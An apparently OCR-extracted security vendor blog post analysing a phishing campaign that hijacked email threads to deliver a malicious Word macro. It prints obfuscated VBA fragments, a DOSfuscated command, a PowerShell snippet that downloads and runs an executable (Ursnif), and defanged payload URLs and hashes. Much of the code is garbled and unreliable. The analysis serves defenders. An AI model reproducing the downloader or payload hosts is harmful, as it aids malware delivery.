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The “never get gifts from strangers” rule applies for suspicious email attachments as well as
enterprises and SMBs alike educate their employees about the dangers lurking in
cyberspace.

One of the most popular threats is malware delivered by email with a malicious document
attached to it. The increasing awareness to this type of attack results in a negative impact on
the success ratio of massive phishing campaigns; however, cybercriminals (as always) are
adapting. This short blog post provides an example of advance tactics that adversaries use
in such campaigns to overcome these challenges.
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Leveraging Existing Trust

The rule “never accept gifts from strangers” applies to many settings, including suspicious
email attachments. But what if you recognize the sender? Moreover, the attachment is a part
of an existing email thread?

A recent campaign the attacker leveraged a previously compromised email account
belonging to an employee of a prominent Chamber of Commerce. The adversary sent
generic responses to existing threads, attaching a malicious Microsoft Office document.
Abusing compromised trusted senders is a powerful persuasion tactic, which greatly
increases the chances of opening the malicious attachment even by a trained recipient.

Below is one of the messages sent during this attack. —Most of its contents are authentic, but
the last reply was appended by the attacker:
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Good Morning,

Malicious email

Please see attached and confirm.
From: I -
Sent: Thu, 16 Nov 2017 07:50:10 +0000

To: i ors orf
Subject: RE: FW: !

s
I didn’t get any feedback

— Real email thread
[ ]

From S ;1
Sent: Thursday. November 16, 2017 1:43 AM
To;| com=|

Subject: RE: FW:

The attachment is a malicious document prompting the victim to allow macro execution:
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1) Office 365

This document created in online version of Microsoft Office Waord

To view or 1 this document, pl . “Enable editing™ button
amn the ow bar, and then click "Enable content”

The malicious macro is comprised of two modules: the first decodes an embedded command
and the second executing it using the Shell function:

A -t - PIEKIRWWEVFR (Code)

iGeneral) »  TiArAWAIC

Function TIXrAWAJVe ()
Cn Error Resume Next
TypeName ChrW(12)
TypeName CByte (mi
iKppE = "m" + "d
TypeName Rnd(1flb{
TypeNams Cct (3 (General) + AutoOpen -
LR1NDGkgPsV = " |
-

Sub AutoCpen ()
Typslame C3ng (RAZ3 On Error Resume Next

TypeName 7387 Typellame Fix(331004078)

TypeNiIr.: Eosiilj TypeName Int(70)
pLIELFT = "3" + "4 TypeName Round (8)
TypeName 5in(152)

i ooy
Typelams Hex (43 | Ilst.eu! KeyString (vbEeyC) + jcrHvAR] + WRTinvePndEj + TiXrRWAJVe + NLBuhIVAQ + UdzjOcapsu +

non

fazoWvagl = "3" + py s e e
TypeName rmSkEa TypeName Chr (25352 / CARip - 25056 - 1YzFX)
TypeName Cos (v End Sub
TypeName CByte
FmTcZ = ":" + ")Dq 1MeGe

TIXrRWAITVe = i¥ppH
TypeName CInt (§
TypeHams Sgr(6j

End Function

Function NLBuhIVd(

Cn Error Resume Ng

TypeName Chr (LIOmJ

El% ad n

The command itself has another layer of obfuscation, which was added by the publicly
available tool Invoke-DOSfuscation:
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https://github.com/danielbohannon/Invoke-DOSfuscation

Crmd AD /T "set Ngj=oCIHISzsfwaHGsbEGsPP3hdy/Ful+ ml.n; ) DE{ Wt
E=e-tkMLiprocsxfl' 88 for ®5in (54 09 455517 22 45 61 56143 58
10 20 23 453546 9 47 01418 46 5742 43 50 46 42 34 4146141
61 53 46 3542 36 58 55 61 32 45 622242 4254 5226 26 42 1054
46 55420 355334 57 032 2627 6129 592542 17 42265335 23 48
5934542254 6061 4510 143334 4249 356234 5 54 6153 4230 6244
6237 36 585121 4345 436238 21 33 62 3658 18 4 1545 584535
5652 42 46 3254 31 62 24 623158 51213162 34 48 59 45 G2 368
0 554610 5722 30 58 231 53 43 53 35 4358 5561 323740 42 55 25
4058 10 20223 34380 9 3561010 23 27536140 20 5823 153 2843
58 18415 373654210 55 42 4720 55 0 57 4617 17 43 58

Decoding this results in a simple, typical PowerShell script, which downloads an executable
Windows binary from a remote website:

SLIC = "&31"';
SJJE=8env:temp+' " "+5LICH+" .exe"

foreach (5dCi
try{
SaPd.DownloadFile (§dCi, $3JE) :
Ztart-FProcess 510K
break:

in Srlm) {

¥
catchi}

The payload in this case was a Gozi ISFB/Ursnif malware, capable of stealing sensitive data
from a victim. Moreover, once the attackers established compromised the victim’s machine
they might use it to launch future similar campaigns.

Prevented by Minerva

In this case attackers were trying to evade “human detection” by leveraging clever social
engineering techniques and “machine detection” (i.e. evading security products) by
obfuscating the downloader and payload.

Minerva’s Malicious Documents Protection capabilities prevents this evasive threat and
provide useful data to SOC and IR teams, capturing the full context of the attack:

[420] C:\Windowslsystem32\winlogon.exe

Event Description
Aug 13th 2018 02:21 pm

[2236] C:\Windows\SystemJ2\userinit.exe
Aug 13th 2013 02:29 pm =
[2292] C:\Windows\explorer.exe

Aug 13th 2018 02:29 pm

i q Malicious macro execution was attempted in process
t“ WINWORD.EXE

Process Name: C:\Program Files\Micresoft Office\Office
. - 1BWWINWORD EXE
[292] C:\Program Files\Microsoft Office\Office161QUTLOOK.EXE
Aug 13th 2018 06:22 pm Command Ling: “C:\Program Files\Microsoft O ffice\Offic
&16WVINVVORD EXE” fvu "C:\Users\

'_,‘ ppData\LocalMicroso flWindow
|4} [2812] C:\Program Files\Microsoft Office\Office 16\WWINVWORD.EXE e AeaE ng;‘gg;t‘g';‘g“"”

T "C:\Program Files\Microsoft Office\Officelé&\WINWORD.EXE" /vu "C:\..
Aug 14th 2018 0428 am Blocked Command Line: C\Windows\system32\Cmd.exe M:0 JC

# 19ffa53cfida081ba164c05f64aff44ihIafb620d5310c9f3dI9dci0ab1 7037

R O ----------- x T C:\Windowsisystem32\Cmd.exe V-0 /C set Ngj=oCIHJ SzsfwaHGsbKG
sjPP3hdVy/F,u{+m1.n;)D6{Wt @=e }kNL:iprvcSx?I'8& for %S in (54 09
46 5517 22 46 61 61 43 58 10 20 23 45 35 46 9 47 014 18 46 57 42 43 50...

set Ngj=0CIH)Szs fwaHGsbKGsjPP3hdy
JF ul+=m1.n; JD6{Wt @=e-NL:iprvcSx?l'
&& for %S in (54 09456 5517 22 4661
6143581020234535469470141
846 0 344 :g 1416
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To better understand this type of attack watch our webinar: Why Do Malicious Office

Documents Keep Infecting Me?

Interested in learning more about Minerva's Endpoint Protection?

REQUEST A DEMO

I0C

Document (SHA256):

460073875b11a5c8f1f0fe4ecf4967d0c90d066867bScas57fd2a25df6bc384c0 URL:

Executable Payload (SHA256):

ae6ca8aabb5bbd5ff08915011c6¢773808a37440d805bdff247ebac9a5d060631

URLSs:

hxxp://tapertoni[.Jcom/Flux/tst/index[.]Johp?l=ab1[.]tkn (analyzed sample)
hxxp://tapertoni[.Jcom/Flux/tst/index[.]php?l=ab2[.Jtkn
hxxp://tapertoni[.Jcom/Flux/tst/index|.]Jphp?l=abc1[.]tkn
hxxp://nesocinal.Jcom/Flux/tst/index[.]Jphp?l=abc1[.]Jtkn
hxxp://nesocina[.Jcom/Flux/tst/index[[.]Jphp?I=abc2][.]tkn
hxxp://nesocinal.Jcom/Flux/tst/index[.]Jphp?l=abc3[.]Jtkn
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Interested in Minerva? Request a Demo Below
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